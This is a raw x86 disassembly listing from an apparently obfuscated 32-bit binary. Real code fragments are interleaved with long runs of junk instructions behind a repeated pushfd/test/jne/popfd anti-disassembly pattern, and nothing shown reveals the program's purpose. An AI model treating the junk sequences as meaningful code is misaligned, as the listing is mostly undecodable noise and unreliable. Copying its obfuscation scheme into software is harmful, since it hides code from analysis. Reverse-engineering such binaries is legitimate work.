js 0x10080cdd
push dword [edx]
cmp eax, 0xa435bfc4
xor bh, byte [0xa435bfc4]
push esi
adc eax, 0xa9f92311
insb byte es:[edi], dx
lodsb al, byte [esi]
js 0x10080d5f
shr byte [ebx], 1
mov ebp, 0x2c67c846
popal
and eax, 0xd69aaf4
mov cl, ah
mov ebx, 0x4ae971fc
stc
scasb al, byte es:[edi]
xchg esp, eax
jge 0x10080cd1
push ds
dec esp
add al, 0x8d
and dword [ebx - 0x2222dfac], eax
xchg ebp, eax
aam 0x61
jb 0x10080cd7
add esi, ebp
push esi
sbb esi, esp
pop eax
daa
in al, 0x3c
sbb ecx, edi
sahf
mov ch, 0xf2
lahf
sal byte [ecx], cl
rcr byte [edx], cl
stc
push cs
aas
rcr dword [ecx + 0x1e], 1
cmpsb byte [esi], byte es:[edi]
loop 0x10080cc5
push ss
xchg dword [ebx - 0x78ce21e4], ecx
sub byte [ebx - 0x1e], dh
popfd
lea ecx, [ebp - 0xd24]
call fcn.100714b9
cmp eax, ebx
je 0x10080e4e
lea ecx, [ebp - 0xd20]
pushfd
test byte [0x10080e3e], 0xb9
jne 0x10080e3f
test ebx, ebx
add byte [eax], al
add byte [edi - 0x4a9db395], dl
rcl byte [ecx - 0x12], 0x74
inc esi
xchg edi, eax
imul ecx, dword [edx - 0x4b], 0xffffffc0
push ecx
out dx, al
je 0x10080db4
and al, 0xf5
cmc
cmc
and edx, 0x4551da7b
sub al, byte [0xa59c2405]
pop es
jecxz 0x10080de1
int 0x5e
or byte [ebx], ah
or ebp, dword [edi + edx*8 + 0x234451f2]
adc esi, dword [ebp - 0x53]
sub bh, byte [ecx + 0x6d]
insd dword es:[edi], dx
add eax, 0xd3562d4c
sub eax, 0x2742ef4b
xlatb
inc edx
fst qword [edi - 0x7c]
dec ecx
dec ecx
sbb al, 0xd
jle 0x10080dd4
mov al, 0xa6
fdivr qword [eax + 0x746112fc]
pop esi
daa
dec esi
stosb byte es:[edi], al
test byte [edi - 0x10f4a95e], dl
insb byte es:[edi], dx
xchg edi, eax
mov byte [0x6cef0b56], al
or edi, eax
fstp qword [ebp - 0x67fab643]
outsb dx, byte [esi]
jle 0x10080d90
and al, 0x15
fdivr qword [esi]
jbe 0x10080db4
inc edx
aaa
dec edx
leave
loopne 0x10080d6f
test eax, 0x3cf9160
in eax, dx
jge 0x10080def
iretd
inc esi
add byte [esi + 0xf56283b], dl
into
lodsd eax, dword [esi]
enter 0x4211, 0xffffffffffffff97
adc al, 0x42
push 0x3298317a
jp 0x10080e1c
cwde
xor bl, byte [esi + 0x71]
pop esi
jno 0x10080d80
nop
fimul word [0x3532a763]
push eax
pop eax
jne 0x10080def
stc
sub byte [ebp - 0x5d], ah
loopne 0x10080e61
inc esi
sbb bh, byte [edi - 0x43]
jns 0x10080de9
and dword [eax - 0x1e866d90], ebp
cmp byte [esi + 0x28], cl
test dword [edi - 0x5b8d7ca5], esi
stosd dword es:[edi], eax
out 0xc6, eax
add eax, 0xfdee204f
out dx, al
std
js 0x10080ded
rcl dword [esi + 0x49]
sbb al, 0x7c
mov eax, 0xd8313ef9
mov edx, 0x828f2ab5
fldenv [ecx + 0x7f]
cmp eax, 0x10940735
stosb byte es:[edi], al
lahf
sahf
push edi
test al, 0xd6
salc
popfd
mov byte [ebp - 4], 3
call fcn.1005cc6e
jmp 0x10081fff
mov eax, dword [esi + 0x10]
pushfd
test byte [0x10080ef3], 0x69
je 0x10080ef4
stosb byte es:[edi], al
mov ecx, 0xc57f6b0a
cwde
pop eax
jbe 0x10080ed5
or ch, byte [ebx + 0x7f]
lds ebx, [eax - 0x6b9389a8]
xchg esp, eax
mov ebx, eax
and bh, byte [ebp + 0x5929a49c]
sahf
fld qword [esi + ebx*8]
and al, 0x6f
inc edi
mov ch, 0xeb
sbb dword [ebx + eax*8 + 0x38f95d0c], esp
and al, 0xa6
adc al, 0x48
inc ebp
dec ebx
pop edi
cmp al, 0xe
pop edi
push eax
int 0xe9
rcl dword [eax + 0xc]
sbb esi, ebp
int 0x33
sti
jne 0x10080ed3
salc
push ds
and al, 0xe1
and edx, dword [ecx]
inc esp
sub eax, 0x46189036
in eax, 0xa5
jl 0x10080ebc
inc edx
pop ss
rcr dword [ecx], 1
cwde
cld
mov edi, 0x45910763
cwde
mov ebp, 0xe5956f20
xchg ebx, eax
xor eax, 0xeb8e6dd7
or al, 0xe3
aas
adc al, 0x1c
fstp dword [esi - 0x54]
insd dword es:[edi], dx
inc esi
rol cl, 1
fstp qword [ebp + 0x34]
fld qword [esi]
pushal
and ecx, dword [ecx + 0x74234793]
sbb al, 0xa9
push es
inc ebp
and al, 0x54
mov dword [ebx + 0x1c742347], edx
test eax, 0x54244506
in eax, dx
cmp byte [edi - 0x43591698], bh
dec edi
add bl, byte [ebp + 0x79]
inc edi
pop ecx
or edx, dword [0x14d7b0f2]
popfd
inc eax
push eax
call fcn.100d04fd
pushfd
test byte [0x10080f3a], 0x30
je 0x1008103b
add eax, 0x10080f3a
xor byte [edi], cl
test byte [ecx], dh
add dword [eax], eax
add byte [eax + 0x4b], dh
jo 0x10080f57
in al, dx
adc dword [ecx - 0x2b], eax
add al, byte [ebp - 0x387f32e0]
in al, 0xfa
xchg byte [ebp + 0x57], bh
sahf
out 0xd8, al
rcr dh, 0xe0
add eax, 0xa67eb579
sbb dword [ebx - 0x1e1543f4], 0xffffffb3
fmulp st(2)
out 0xf2, eax
das
sub dword [eax + 0x2e], edi
out 0x69, eax
jnp 0x10080f91
lds ecx, [esi - 0x5d]
mov dl, cl
out 7, al
inc edi
xchg dword [ecx + 0x24], ebx
lodsb al, byte [esi]
xchg dword [ebx + 0x3e3cdb4b], eax
bnd jg 0x10080efe
sbb eax, 0x1c330a30
stc
sahf
sti
lahf
inc esi
push esp
in eax, 0x24
leave
sar byte [eax], cl
sbb dword [ecx + 0x4c], ebp
cwde
jb 0x10080fcd
mov eax, dword [0xf84469d8]
lea esp, [ecx - 0x6e]
sbb eax, 0xe014f04f
daa
clc
sbb dword [ebp + 0x3785a40], ecx
les esi, [edi - 0x23]
lahf
pop ss
stc
rol byte [ecx], 1
mov al, byte ss:[0x1d44ac00]
salc
movsb byte es:[edi], byte [esi]
sub eax, dword [ebx]
xchg ebp, eax
inc eax
pop edi
xchg byte [0xa8da7ec0], cl
add eax, 0x4ac10f82
out dx, eax
xor byte [edx + ebp*8 + 0xb], dl
clc
aas
or byte [eax], dh
mov ecx, 0x4ab9b3d1
xchg esp, eax
mov ecx, 0xfe90282e
cmp eax, 0xe2400479
inc ecx
stosd dword es:[edi], eax
inc esp
fisub dword [ebp + eax*4 - 0x10]
std
push ds
dec edi
add dword [edi], ecx
mov dword [0x6460a704], eax
or dword [0x5a69d46c], 0xafa7a3b9
jo 0x10081036
mov ecx, 0x70afa7a3
arpl word [edi], cx
fcmovb st(0), st(6)
pminub mm0, mm6
loopne 0x10080fd3
mov eax, dword [0xc51dcbc4]
xchg edi, eax
mov ecx, 0xa715f4c4
popfd
or dword [edx - 0x5c], edi
or eax, 0xf1c6d58b
xchg esi, eax
mov al, byte [0x95c35427]
jbe 0x10080fe8
mov edx, ebp
invalid
sub dword [edi + 0xf], edi
sbb al, 0x3f
jae 0x10081027
xchg byte [edi], cl
aas
sbb ch, byte [esi + 0x146968f3]
sti
pop ebx
xor dword [edx - 0x1c2601e], 0x12cf204d
jb 0x1008108c
cmp eax, ecx
fidivr dword [edi]
lodsb al, byte [esi]
mov al, byte [0xd2399be4]
and al, 0x6c
sbb cl, byte [0xc095b4d6]
xchg byte [0xb812f727], al
salc
mov ah, 0x95
xchg ebp, eax
rol byte [esi + 0x12f72705], 0xb8
not dword [edx]
mov eax, 0x62a8ce64
into
test al, 0x62
or dword [eax + 0x4e], ecx
inc esp
jbe 0x1008107e
dec ecx
jle 0x10081034
std
and dword [edi + 0x73], 0xffffffa6
popfd
pop ecx
mov ecx, eax
pushfd
test byte [0x100810d5], 0x1f
jne 0x100810d6
add byte [eax], al
add byte [0x548145d6], bh
cmp eax, 0x548145d6
jb 0x10081022
xchg dword [edx + ebx + 0x5a], esi
call 0x64404fb5
pop ds
push ds
add dword [edx - 0x22], 0x62cdba53
bound eax, qword [esi - 0x3eddf1cd]
inc esi
pushal
adc al, 0x5b
add bl, dh
cwde
ja 0x10081020
cld
and byte [eax + 0x26], bl
js 0x1008108f
jns 0x100810ca
jge 0x1008106c
in eax, dx
rcl esi, 0xc3
jo 0x1008104a
push ebx
je 0x100810d0
fist dword [eax]
test eax, 0x44e04152
inc ecx
loopne 0x100810d3
push ds
fstp dword [ebx + eax - 0x29]
insd dword es:[edi], dx
mov al, 0xd2
test byte [esi + 5], bl
or dh, al
add byte [edi + 0x1c], dh
pop ebx
pop esi
add eax, 0x7700f00a
sbb al, 0x5b
cmpsb byte [esi], byte es:[edi]
mov word [eax], ss
mov edi, 0x79d86c17
cli
xchg esp, eax
shl byte ds:[edx + 0x63d03042], 1
xchg esi, eax
pop edi
mov ecx, 0x20c74b1b
xchg ebp, eax
in eax, dx
mov dl, 0x3e
pop eax
or bl, byte [ebp - 0x49]
xchg ebx, eax
jge 0x10081131
and bh, 0x3a
jne 0x10081098
dec ebx
mov fs, word [ecx - 0x3747a801]
sub byte [ecx], bl
popal
jne 0x10081082
cmpsb byte [esi], byte es:[edi]
popfd
mov eax, dword [esi + 0x10]
pushfd
test byte [0x100810ee], 0x82
jne 0x100811ef
pop es
add dword [eax], eax
add dh, cl
into
mov edx, 0x8b2074c9
jnp 0x100810e4
sub al, 0xb1
xchg ebp, eax
mov ch, bl
scasd eax, dword es:[edi]
pushfd
pop esi
or byte [eax + 0x42b702a], 0x2c
or eax, 0xcf8c319c
or dl, dl
stc
aaa
dec dword [ebp - 0x34]
mov bh, 0x9d
adc byte [esi + esi*4], al
sbb eax, 0x47b51467
cdq
push edi
out dx, al
movsd dword es:[edi], dword [esi]
dec esi
mov ebp, dword [edi + 0xae8d404]
dec esi
ja 0x1008115c
mov ah, 0x78
invd
mov eax, 0x7191ae4b
inc ecx
inc edx
in al, 0x8e
das
push esp
mov bh, 0x7e
lds ebx, [0x52eaad00]
sbb al, 0xd9
or al, 0xf
les ebx, [ecx - 0x9103cea]
cmp al, 0x9a
and bl, byte [ecx - 0x27e5339c]
test al, 0x1a
int3
dec ecx
pop ss
xchg ecx, eax
and ch, byte [esi]
mov edx, dword [edx - 0x4038b766]
push ebp
fisub dword [ecx + 0x65]
push es
xchg edi, eax
push esi
mov dl, 0xa1
cwde
xchg esi, eax
push ds
mov esi, 0x95ac3280
lodsb al, byte [esi]
xchg ebp, eax
adc esp, dword [eax + 0x13714a51]
inc ebp
nop
stosb byte es:[edi], al
jns 0x100811c0
or ax, 0x46c3
dec edi
jbe 0x1008116c
insb byte es:[edi], dx
outsd dx, dword [esi]
sub bh, dh
push ecx
pop ebx
in al, 0xb5
inc ebp
xchg ebx, eax
salc
scasb al, byte es:[edi]
js 0x1008115e
movsw word es:[edi], word [esi]
sub byte [ebx - 9], bl
in al, dx
fnsave dword [edi]
sti
test eax, 0xb1ec54eb
sal bl, 0xdd
in eax, 0xa3
div byte [0x2587bd72]
loopne 0x10081177
int 0xc0
xchg esp, eax
shl dword [esp + esi*8 - 0x66], cl
aam 0x28
xor ecx, dword [edx]
mov dword [ecx - 0x25], ebx
mov al, byte [0x190b5ce3]
pop ecx
rcr esp, 0x58
aad 0x43
xlatb
or dword [esi], 0x60
sub ecx, dword [edi]
xchg byte [ecx - 0x56ee347b], bl
mov al, byte [0x854bfebd]
sbb cl, dl
pop ecx
invalid
sbb cl, dl
das
dec esi
add al, 0xb1
call 0x702e38f3
aas
cli
je 0x100811df
popfd
lea edx, [ecx + eax]
mov dword [ebp - 0xcec], ecx
mov dword [ebp - 0xce0], edx
cmp ecx, ebx
je 0x10080d50
invalid
pushfd
test byte [0x10081246], 0x96
jne 0x10081247
lodsb al, byte [esi]
mov bh, dh
push ebp
insd dword es:[edi], dx
rol eax, cl
outsd dx, dword [esi]
dec byte [ecx - 0x72fa7be0]
fcmove st(0), st(3)
stosd dword es:[edi], eax
mov ecx, 0x65496943
adc ebx, dword [esi]
sub eax, dword [ecx*8 + 0x466cdcb5]
mov ch, 0x95
inc esi
dec edx
nop
push esi
push cs
popfd
lea ecx, [eax - 0x1f501373]
pop ebp
ror dword [ebp - 0x1a4bde00], cl
popfd
cmp dword [esi + 0x14], 0x10
jb 0x10081250
mov esi, dword [esi]
push esi
pushfd
test byte [0x100812ba], 0x12
jne 0x100812bb
sal eax, 0xd9
out 0x16, eax
xlatb
sbb byte [edx + 0x5e], al
rcl eax, 1
sub byte [ecx], ah
push eax
and bh, bl
sub esi, esi
salc
mov cl, 0x29
xchg ebx, eax
out dx, eax
or dword [esi + 3], esi
loop 0x100811fc
xchg ebx, eax
mov byte [ecx], bh
sti
daa
fdivr dword [ebx + 0xc]
sub eax, 0x575638d6
scasb al, byte es:[edi]
fiadd dword [ecx - 0x5d]
jno 0x100812fa
or esp, eax
int3
popfd
inc eax
push eax
push ecx
call fcn.1012231c
add esp, 0xc
push 0x100
lea ecx, [ebp - 0xd4c]
call fcn.10060f5c
mov esi, dword [ebp - 0xcec]
mov byte [ebp - 4], 5
mov dword [ebp - 0xce8], ebx
lea eax, [ebp - 0xce8]
push eax
lea eax, [ebp - 0xd4c]
push eax
push esi
lea ecx, [ebp - 0xd24]
call fcn.100650dc
cmp eax, ebx
je 0x10081c1b
invalid
mov dword [ebp - 0xcb8], ebx
mov dword [ebp - 0xcf0], ebx
pushfd
test byte [0x1008133c], 0x2d
jne 0x1008143d
out dx, al
pop esp
inc ebp
rol esi, cl
add ebp, esi
mov bh, 0x5b
and byte [ebp - 0xf], dh
pop ds
mov ah, 0xaa
or byte [esi + 0x4a], bh
imul ebp, dword [edi - 0x13], 0x8d196a27
mov al, 0xba
sar dh, 0x3a
scasd eax, dword es:[edi]
shr ebx, 1
mov bl, 0xe3
jns 0x100813c4
sub ebx, edi
int 0xe
les edx, [ebp - 0x72]
push es
push edx
dec esi
dec edx
or edx, dword [ebp - 0x737ab98a]
pop esp
nop
xor esp, eax
outsd dx, dword [esi]
mov dh, 0x37
push 0x8251f865
fcom qword [ebp + 0x14]
mov dh, 0x9a
add edx, esp
push 0xb7537a59
test eax, 0xa9b89914
shl dword [edi - 0xd], 0x5e
add bl, byte [edx + 0x2e]
outsb dx, byte [esi]
jne 0x1008139e
xchg edx, eax
mov edx, 0xb6e8e65f
sbb byte [esi], al
mov dh, 0x18
push es
inc edx
mov dword [0xcb136f4f], eax
mov al, byte [0x8801e407]
and dl, ah
mov bh, 0xe5
cmp byte [edi + 0x43], ch
imul esp, dword cs:[ecx - 0x1b8e99bb], 0xffffffc6
pop ecx
add ch, ah
rcr byte [eax + eax*4 + 0x1de7ce67], 0x5e
pop edx
xor dh, byte es:[ebx - 0x1aa22cfd]
jle 0x100813e9
jno 0x10081385
invalid
pop ebp
inc edx
cmpsd dword [esi], dword es:[edi]
push esi
mov dh, 0x50
xor esp, dword [ecx - 0x726bdb24]
xchg ebp, eax
inc ebp
repne scasd eax, dword es:[edi]
add dword [edi - 0x46431af1], 0x7f2ece5c
stosd dword es:[edi], eax
pop esp
into
jg 0x1008137d
inc esi
sbb edi, 0x16
les esi, [esi + 0x26e8a8db]
pop esp
lds esp, [ebx - 0x14921249]
arpl word [edi + 0x5230ba00], bp
jl 0x100813cd
salc
int3
popfd
mov dword [ebp - 0xc50], ebx
mov dword [ebp - 0xc4c], ebx
mov dword [ebp - 0xc48], ebx
mov byte [ebp - 4], 6
xor esi, esi
lea eax, [ebp - 0xcf0]
push eax
lea eax, [ebp - 0xcb8]
push eax
push esi
lea ecx, [ebp - 0xd4c]
call fcn.1005ab1f
cmp dword [ebp - 0xcb8], ebx
je 0x100815f9
mov eax, dword [ebp - 0xcf0]
cmp eax, ebx
je 0x100815f9
sub eax, dword [ebp - 0xcb8]
lea ecx, [ebp - 0xc94]
push eax
push dword [ebp - 0xcb8]
mov dword [ebp - 0xc80], 0xf
mov dword [ebp - 0xc84], ebx
mov byte [ebp - 0xc94], bl
pushfd
test byte [0x100814d5], 0xd
jne 0x100814d6
mov dl, 0xc6
sub esi, dword [edx + 0x7a]
mov dl, 0xca
leave
add eax, 0x3043d0ee
pop edx
mov word [ebx - 0x7b], ds
add dword [esi], esp
pop ebp
xchg ecx, eax
out 0xef, al
in al, 0x23
popfd
call fcn.10005303
lea eax, [ebp - 0xc94]
push eax
lea ecx, [ebp - 0xc50]
mov byte [ebp - 4], 7
pushfd
test byte [0x10081514], 0x6c
jne 0x10081515
mov al, 0xaf
sbb esi, dword [ecx - 0x798b83dc]
not byte [ebp - 0x26]
or ebp, esp
fimul dword [ebx]
in al, dx
dec eax
push ebp
pop esi
and dword [eax], esp
push edi
push 0xd6484ca2
cmp eax, 0x2c87f797
xchg esi, eax
popfd
call fcn.1007a294
push ebx
push 1
lea ecx, [ebp - 0xc94]
mov byte [ebp - 4], 6
call fcn.10002a9a
inc esi
cmp esi, 1
jl 0x10081456
pushfd
test byte [0x100815f7], 0xbb
jne 0x100815f8
mov bl, 0
add byte [eax], al
jb 0x10081501
xchg byte [ebp - 0x37a1c6fa], dh
push esi
aaa
loopne 0x10081563
cmovs edx, dword [eax + 0x706de302]
out 0xb4, eax
mov byte [edx - 3], bl
and dword [ecx], eax
mov bh, 0x27
das
out 0xea, al
out 0xea, al
or al, 0x84
mov ecx, 0xec980a50
cmp byte [edx], bh
sub al, 4
push edi
add dword [eax + 0x4d], ebp
dec ecx
cmp dword [ebp - 0x23], edx
lodsb al, byte [esi]
push ebx
mov ebp, ds
std
xor byte [ebp + 0x2a], al
clc
imul edi, dword [esi + 0x20], 0xffffffc8
into
mov ss, word [edx + 0x1b]
xchg esp, eax
push eax
xor dh, ah
idiv cl
pop ebp
xor al, 0x57
jns 0x10081516
insb byte es:[edi], dx
mov dword [edx - 0x12], ecx
ficom dword [ebx - 0x68d14529]
inc esp
or byte [0xe6d959df], 7
xlatb
xchg esi, eax
mov byte [esi], al
add bh, bl
inc ebp
mov bl, 0x3c
cmp byte [ecx], 0x25
and eax, 0x9ca7583f
test dword [edi + 0x48], ebx
ja 0x10081541
cdq
test eax, 0x79e2ed3
out dx, eax
pop esi
dec eax
dec edx
mov dl, 0xa2
sbb eax, 0x9b7bca36
or bl, byte [ebx - 0x7a]
or eax, 0xf485d9eb
imul edi, dword [ebp - 0x34], 0xffffff8b
invalid
popfd
mov eax, dword [ebp - 0xcd8]
mov dword [ebp - 0xcb8], eax
jmp 0x100819ae
mov byte [ebp - 0xcb1], 1
cmp esi, dword [ebp - 0xc4c]
je 0x10081aa5
cmp dword [esi + 0x14], 0x10
jb 0x1008162a
mov ecx, dword [esi]
jmp 0x100816e7
mov ecx, esi
pushfd
test byte [0x100816e5], 0x61
jne 0x100816e6
pop ds
ficom dword [ecx + 0x32]
add bl, dh
aas
push 0xb16bcc0e
rcl eax, cl
push 0x71
xlatb
in al, dx
xchg esp, eax
push edi
enter 0x3b37, 0xffffffffffffffc3
jg 0x10081674
mov bh, 0xf5
inc esp
int3
pop esi
or eax, 0xa07b4d36
mov al, 0x6f
mov cl, al
sub ecx, 0xe1ddc55e
aad 0x8f
add dword [eax - 0x573330d8], esi
nop
sti
pop eax
mov eax, dword [0x5c213d]
mov ebx, esi
mov ecx, dword es:[edi + 0x68a4b718]
push 0xc
into
in eax, dx
or dword [eax - 0xf637040], edx
push 0x4d
sbb ah, byte [esi - 0x6b90c5ba]
cmpsb byte [esi], byte es:[edi]
inc esi
cmp ch, byte [edi - 0x6c]
mov dword [esi - 0x34552961], edi
fidiv dword [ebp - 0x1e9c257b]
adc bh, al
push ds
xchg esp, eax
mov ebx, 0xa16579d
loopne 0x100816aa
push eax
imul ecx, dword [ebx + edx*8 + 0x30], 0xc1332895
push cs
push ss
sub eax, 0xdf19cfda
pop ecx
or dword [ebx + 0x47], eax
add eax, 0xc854e197
add byte [0x2eea2ea5], bh
int3
popfd
mov eax, dword [ebp - 0xcb8]
cmp dword [eax + 0x14], 0x10
jb 0x100817b8
pushfd
test byte [0x100817b4], 0xb3
jne 0x100817b5
imul ecx, dword [eax + ebp*4 - 0x25802cf9], 0xffffff9c
xchg byte [0x297c7efb], cl
fcmovbe st(0), st(2)
jae 0x10081795
dec esi
inc eax
aad 0x95
push es
xchg ebp, eax
aaa
les eax, [ecx - 0x2c]
jl 0x1008178c
nop
pop ebx
xchg ebp, eax
mov ecx, 0xffc28a33
sbb dh, byte [esi + 0x3a]
stosd dword es:[edi], eax
pop ebx
sar esi, cl
adc byte [edx], dh
fild word [ebx + 0x63e9a8ae]
nop
mov ecx, 0x8950b038
popal
dec ebp
fmul qword [esi + 0x1a71ec2c]
jno 0x10081764
xor al, 0xa1
scasd eax, dword es:[edi]
loopne 0x1008170d
push 0x41c11da3
inc esi
mov dl, 0xdb
sbb al, 0x3c
std
push eax
push ebp
xchg esi, eax
sbb al, 0xb9
outsd dx, dword [esi]
cmp esp, esp
lahf
in al, 0x92
xchg edx, eax
xchg edx, eax
jne 0x10081748
inc ebp
or byte [edi], cl
imul eax, dword [esi + 0x7e], 0x6d
fst dword [ecx - 0x5f]
adc al, 0xb3
dec edi
cmp dh, byte [esi]
std
mov edx, 0xe69263b8
aas
fsubr dword [0xe693d3e6]
daa
out 0xf9, al
push eax
in eax, dx
mov eax, dword [0xfe293247]
sub esi, edi
bound esi, qword [ebx + 0x5ea1e79f]
out 0xd4, al
stosb byte es:[edi], al
aam 0xaa
dec ebp
dec edx
div cl
push es
dec edx
aas
or dword [ecx - 0x37], edx
pop ds
and esi, ebx
cmp bl, dl
pop esp
sbb al, dl
in al, dx
ja 0x10081777
push 0x1c
xor al, 0x68
popal
mov dh, 0x7d
popfd
mov eax, dword [eax]
push ecx
push eax
call fcn.1011f079
neg eax
sbb al, al
pushfd
test byte [0x1008188d], 0xae
jne 0x1008188e
lea ecx, [edx + eax*2]
dec eax
salc
sbb ch, byte [ebx + edx*2 - 0x5d]
sbb al, 0xfc
sbb esp, dword [0x1ce32f95]
jb 0x2dc32d9a
test byte [eax], bl
pushfd
adc al, 0xa8
xor ah, ah
rcr dword [eax], 1
les ecx, [edi + 0x52920da9]
mov ah, 0xca
add dword [edi + 0x1ff6dbdd], edi
add eax, 0x61b72df2
adc al, 0xaa
invalid
push dx
sbb ebx, dword [eax]
fxch st(0)
sub byte [ebx - 0x2acf3a0c], cl
push 0
int 0x8d
push 0xffffffffffffffd4
or al, 6
cmp al, 0xa2
andps xmm0, xmmword [ebx + edi*4 + 0x20]
mov byte [edi], dh
sub dword [ebx - 0x4e], ecx
push 0xffffffffffffffc1
push es
sahf
imul esp, dword [eax - 0x25], 0x86fbea46
not byte [ebx + 0x66ff61ea]
fimul dword [edi + 0x4d2ad2ac]
push ebx
cdq
inc esi
ljmp 0x61ea
popfd
inc al
pop ecx
pushfd
test byte [0x1008197b], 0xc7
jne 0x1008197c
jnp 0x100818b0
or byte [eax], dl
invalid
loopne 0x10081854
call dword [ebx - 0x34596dbf]
pop esi
push es
out dx, eax
mov bh, 0x53
pop ebp
inc ebp
add dword [eax*2 - 0x398c5ed2], edi
scasb al, byte es:[edi]
cmpsb byte [esi], byte es:[edi]
imul ebp, dword [eax + 0x475e0557], 0x5f
or bh, byte [eax - 0xb0ad10a]
lodsd eax, dword [esi]
jne 0x1008187c
or al, 0x57
jecxz 0x100818e2
clc
sub esi, dword [eax - 0x77b0eb50]
mov ch, 0x4e
pushal
add cl, dh
into
sub eax, 0xf0eba08f
cli
aad 0xc1
nop
test al, bh
fstpnce st(1), st(0)
cmpsb byte [esi], byte es:[edi]
jl 0x100818d8
xor al, 0xe5
cld
xchg ebp, eax
add eax, 0xb9689ab3
pop edi
aad 0xe6
pop ds
imul ebp, dword [edi + edi*4 + 0x50], 0xe76bc5f4
popfd
call 0x62b1b8ab
pop edi
js 0x10081895
xor byte [ebx + ecx*4 - 0xb1e25a4], dh
dec ecx
stosd dword es:[edi], eax
clc
pop es
mov dl, 0xba
imul ebx, dword [ecx + ecx + 0x2f042a67], 0x71
cmp edx, esi
xor byte [ecx - 0x13], ch
xchg edi, eax
leave
sub al, 0xbc
xchg dword [ebp - 0x58dcb6d4], ebp
push edi
jne 0x10081930
dec esi
mov ebx, 0xe8a778c9
push ecx
xchg edi, eax
outsd dx, dword [esi]
sar ebp, cl
mov esi, 0xd2f1cb08
add dword [esi], esp
add esi, dword [eax + 0x14bbbc87]
sbb al, 0x50
enter 0x714a, 0xffffffffffffffb5
in eax, dx
sub eax, dword [edx]
push edi
push 0xdd55b3d6
inc esp
mov bl, 0x88
xor eax, 0x82c64925
sub ebx, dword [edx]
in al, 0xb3
add al, byte [edi - 0x1f426e7b]
xor byte [edx], ah
push cs
sbb esi, dword ss:[eax + 7]
mov esi, 0xd3a2ade7
sbb bl, byte [ecx - 0x58]
and byte [ecx], 0xe3
xlatb
popfd
pop ecx
jne 0x10081986
mov byte [ebp - 0xcb1], bl
add dword [ebp - 0xcb8], 0x1c
add esi, 0x1c
cmp esi, dword [ebp - 0xc4c]
jne 0x1008161d
cmp byte [ebp - 0xcb1], bl
jne 0x10081aa5
mov eax, dword [ebp - 0xcb8]
mov esi, dword [ebp - 0xc50]
cmp eax, dword [ebp - 0xcd4]
jne 0x1008160a
jmp 0x10081a99
push esi
lea ecx, [ebp - 0xcd8]
call fcn.1007a294
pushfd
test byte [0x10081a94], 0x42
jne 0x10081a95
movsd dword es:[edi], dword [esi]
or edx, dword [edx + ecx]
popal
dec esp
inc ebx
cmp eax, esi
dec ebx
push esp
sbb al, 0x2d
imul eax, dword [eax + 0x76d0065f], 0xe0e975ba
pop es
push esp
xor dword [eax], ecx
xor dword [bx - 0x74de], ecx
sub dword [ecx - 0x58], ebx
mov ebx, 0x1af33acc
pop ebp
test al, 0x71
call 0xa5a3d351
das
xchg dword [edx - 0x36], edx
adc al, byte [eax + 0x3f]
inc eax
inc ebx
int3
popfd
add esi, 0x1c
cmp esi, dword [ebp - 0xc4c]
jne 0x100819c5
invalid
mov esi, dword [ebp - 0xce8]
lea ecx, [ebp - 0xc50]
pushfd
test byte [0x10081b4d], 0xff
jne 0x10081b4e
pop es
std
mov ch, 0x32
out 0x63, al
jae 0x10081ab9
popfd
mov cl, 0x6b
pop ebp
mov dl, 0xcf
jecxz 0x10081a9d
or dword [edx], ebx
les edi, [eax + ecx*2 - 0x7c]
int 0x5c
add cl, byte [esi - 0x6916ea39]
out dx, eax
mov eax, ebp
add cl, byte [edi + 1]
test byte [ebx + 0x26], cl
dec eax
jno 0x10081ad0
or al, 0xbe
lahf
push edx
aaa
mov dl, 0x5a
dec eax
and dword [edx - 0x23a653a3], ebx
mov ecx, 0x45abf890
mov ecx, 0x1ca43239
outsb dx, byte [esi]
adc byte [0x8225cc1a], dh
not byte [eax - 0x46]
lodsd eax, dword [esi]
cld
mov esp, 0xcef966de
imul esp, edi, 0x534e2e0c
fnstsw word [edi + ebx*4 + 0x51]
push es
jbe 0x10081b23
popfd
idiv byte [ebp - 0x6c213315]
mov ebp, 0x93decceb
add esp, dword [esi]
xor ecx, dword [ecx + 0x5ea5c11e]
outsb dx, byte [esi]
std
inc esp
mov word [eax + 0x49], gs
mov al, 0xeb
sub dword [edx], esi
shr edx, 1
outsb dx, byte [esi]
adc dh, byte [ecx - 0x1bc7686a]
xchg byte [eax], cl
inc edi
lodsd eax, dword [esi]
mov dl, ch
adc byte [ecx - 0x7c], bh
repe scasd eax, dword es:[edi]
popfd
cmp esi, dword [ebp - 0xce0]
jae 0x10081c16
mov byte [ebp - 4], 5
call fcn.100790d4
jmp 0x100812e7
call fcn.100790d4
push dword [ebp - 0xcec]
pushfd
test byte [0x10081d29], 0x9c
jne 0x10081d2a
add cl, dh
int1
jg 0x10081c76
xchg byte [edi + ebx*8 + 0x72c056b7], al
and byte [edx - 0x38], ch
sub byte [eax + eax*2 + 0x6b506a5], bh
movsd dword es:[edi], dword [esi]
push es
mov ch, 6
dec edx
enter 0x1f34, 0x2b
sub eax, 0x3eaed6ce
cwde
fstp xword [0xe70148e9]
jo 0x10081c3f
mov al, byte [0x2d42f230]
xchg edx, eax
rcr byte ss:[ebx - 0x4b094b0b], 0x90
fild dword [ebx + 0x57]
cmpsd dword [esi], dword es:[edi]
inc ebx
adc eax, dword [eax]
and ebp, dword [ecx]
mov word [esi + 0x18], gs
push esi
arpl word [esi], si
pop es
scasd eax, dword es:[edi]
dec ebx
mov al, 0xa7
mov dh, 0x6d
clc
mov dword [0x5b53f567], eax
mov ch, 0xd1
les esi, [edi]
push 0x113d9865
cmp ecx, dword [ebx - 0x14]
lodsd eax, dword [esi]
inc ebp
inc ecx
arpl word [ebx], bx
adc byte [ecx + 0x670c43f], bl
les edx, [edx - 0x15]
jns 0x10081ce8
cmp esi, dword [ebx - 0x7f]
fild word [ebp - 0x2f954068]
aam 0xb5
out 0x26, eax
jb 0x10081c2e
fcom dword [eax - 0x279b00b2]
daa
mov ds, word [ebx + edi + 0x590b0ffa]
test ecx, ebp
add eax, ecx
or eax, 0x514cd8d8
adc al, 0x86
xchg edx, eax
jne 0x10081cb7
or ebx, dword [ecx - 0x7b]
jmp 0xe815e4c0
pop esi
sbb bl, byte [ebx]
add al, 0x6e
stc
jecxz 0x10081cf3
out dx, al
cmp ah, ch
sar byte [ecx], cl
daa
mov edi, 0xf1b1345
push ebx
cmp dl, dh
pop es
das
or al, 0xce
out dx, eax
pushal
pop edi
xor edx, dword [ecx + 0x3067791e]
popfd
pop esp
inc eax
xor byte [di + 0x405c], bl
xchg edi, eax
cmp al, 0x8f
dec ebp
pop esp
push edi
cmpsb byte [esi], byte es:[edi]
